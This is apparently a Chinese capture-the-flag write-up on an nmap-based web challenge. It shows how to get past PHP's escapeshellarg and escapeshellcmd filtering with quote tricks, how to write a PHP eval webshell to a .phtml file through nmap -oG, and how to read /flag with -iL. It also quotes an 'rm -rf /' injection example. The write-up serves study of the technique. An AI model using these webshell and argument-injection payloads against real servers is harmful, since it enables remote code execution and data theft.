这道题看到nmap非常熟悉,但我一时没想起来(还是太菜了-_-|),后来就想到了是以前做过的一道类似的题目——nmap写入文件连接木马,写一篇wp来加深自己的理解。
同时也会学习一下其他师傅的优秀解法,希望我能掌握
一、基本功能探测
首先进来就可以看到nmap的扫描框
这种扫IP的我们可以先尝试一下功能,然后再想哪个地方会发生漏洞
填入127.0.0.1
成功看到: 127.0.0.1 成功出现在界面上
既然是nmap执行的,nmap有一个特殊的参数: -oG 可以实现将命令和结果写入文件
二、解法一 写入文件连接木马
host=127.0.0.1 | <?php @eval($_POST['cmd']);?> -oG shell.php
发现被判定为hacker,应该是有过滤,我猜测应该就是php了,毕竟出题人肯定不想我们执行php代码,输入php果然显示被过滤了
那就只能考虑短标签了,并且将php的文件后缀换成phtml,下面是payload:
127.0.0.1 | <?=@eval($_POST['cmd']);?> -oG shell.pthml
发现这里并没有执行?看来还有过滤,看看这里变成什么样子了:
127.0.0.1 \| \<\?=@eval\(\$_POST\[\cmd\\\]\)\;\?\> -oG shell.phtml
这个转义给我非常熟悉的感觉,后来才找到了之前写的那道题:
[BUUCTF 2018]Online Tool(PHP+RCE)用到的也是nmap文件写入木马以及单引号逃逸
这里先来介绍一下escapeshellarg和escapeshellcmd,可以参考下面这位师傅的文章:
PHP escapeshellarg()+escapeshellcmd() 之殇
escapeshellarg的介绍——参数
先来看看escapeshellarg是如何发挥作用的?
escapeshellarg(): 防止命令注入攻击
(a)当命令中不含单引号时(先不管怎么转化的)
比如: test.txt;rm -rf /
escapeshellarg 会将其转化为: 'test.txt;rm -rf /'这样可能在执行后续的命令ls时
格式为: ls 'test.txt; rm -rf /' 从而导致只会列出名为 test.txt; rm -rf / 的文件,而不会执行 rm -rf /命令,从而防止命令注入攻击
(b)当命令中含有单引号时(先不管怎么转化的)
比如: 'cmd'
escapeshellarg会将其转化为: ' '\''cmd'\'' ' 这里是将左右边界引号之内的单引号全部替换为——'\'',可以这样分解来看:
对于 '\'' --> ' \' ' --> '(前一个字符串结束) \'(单引号) '(后一个字符串开始)
这样来看的话,其实就是'被'\''替代了
总结:对于用户输入的shell命令,(1)先用左右边界单引号将其转化为字符串,(2)然后将该字符串内部的单引号全部转化为'\''
escapeshellcmd的介绍——命令
先来介绍一下escapeshellcmd是如何发挥作用的
会对可能造成命令注入的符号进行转义:比如,(1)不配对的单引号(2);(3)\
而对于这两个函数一起使用,我花了几天时间也还是不明白为什么会转义成那个样子(--_--|,浪费了太多时间了,这个时候就先记个结论吧。。。)主要是对于转换后的形式,按照这里的payload:
host=127.0.0.1 | '<?=@eval($_POST['cmd']);?> -oG hack1.phtml'
此时会发现这时并不能在这个目录下搜到hack1.phtml,我认为应该和单引号有关,此时的单引号是扩着php语句的单引号,这个时候尝试打两个空格:
host=127.0.0.1 | ' <?=@eval($_POST['cmd']);?> -oG hack1.phtml '
发现此时hack1.phtml就在目录下了,但是用蚁剑还是连接不上,这个时候我将cmd旁边的单引号替换为双引号,因为考虑到escapeshellarg函数对单引号的作用
最终的payload:
host=127.0.0.1 | ' <?=@eval($_POST["cmd"]);?> -oG hack2.phtml '
此时就能真正用蚁剑连接上了,这个时候看一下此时我们的hack2.phtml变成什么样子了
可以看到,后面的语句被保留了下来并被执行
三、解法二 使用-iL
参数实现Nmap读取任意文件
可以将flag读取到一个文件中,然后再访问这个文件
前面已经了解了那两个函数的过滤方式,再结合这篇PHP escapeshellarg()+escapeshellcmd() 之殇
就可以这样构造payload:
127.0.0.1' -iL /flag -o temp
他应该是这样的:
127.0.0.1' -iL /flag -o temp
(1)经过escapeshellarg
--> '127.0.0.1' -iL /flag -o temp'
--> '127.0.0.1'\'' -iL /flag -o temp'
(2)经过escapeshellcmd
这个函数的作用上面有提到,会将不配对的单引号进行转义,并且会在 \ 前面加一个\
由于'\''中的第一个单引号与127前面的单引号进行配对,所以这个单引号不需要转义
--> '127.0.0.1'\\'' -iL /flag -o temp\'
(a)配对的单引号消失 127.0.0.1 \\ -iL /flag -o temp\'
(b)\\变成\ 且不具备转义能力 127.0.0.1\ -iL /flag -o temp\'
(c)\'解译为'
最终化简为: 127.0.0.1 \ -iL /flag -o temp'
这里显示被down了是正常的 127.0.0.1\ 本来就不能执行,直接访问该页面下的temp'
成功看到flag
总结
(1)对于escapeshellarg和escapeshellcmd两个函数的过滤方法。首先,我们上面用到了两个单引号,其次,我们让里面的语句尽可能离这两个单引号远一些(我猜测如果不打空格会导致一些符号拼接而导致错误的解译),最后,将这两个单引号之中成对的单引号我将其换成了在php代码中与其具有同等效益的成对的双引号,这样会减少单引号在这两个函数之中的变化。
(2)然后对于nmap的iL参数也有了个认识,感谢师傅们 )>0 0<(
(3)这篇还是花了很多时间 --_--| 就是在转义那一块,希望下次遇到同样的题目可以直接想起来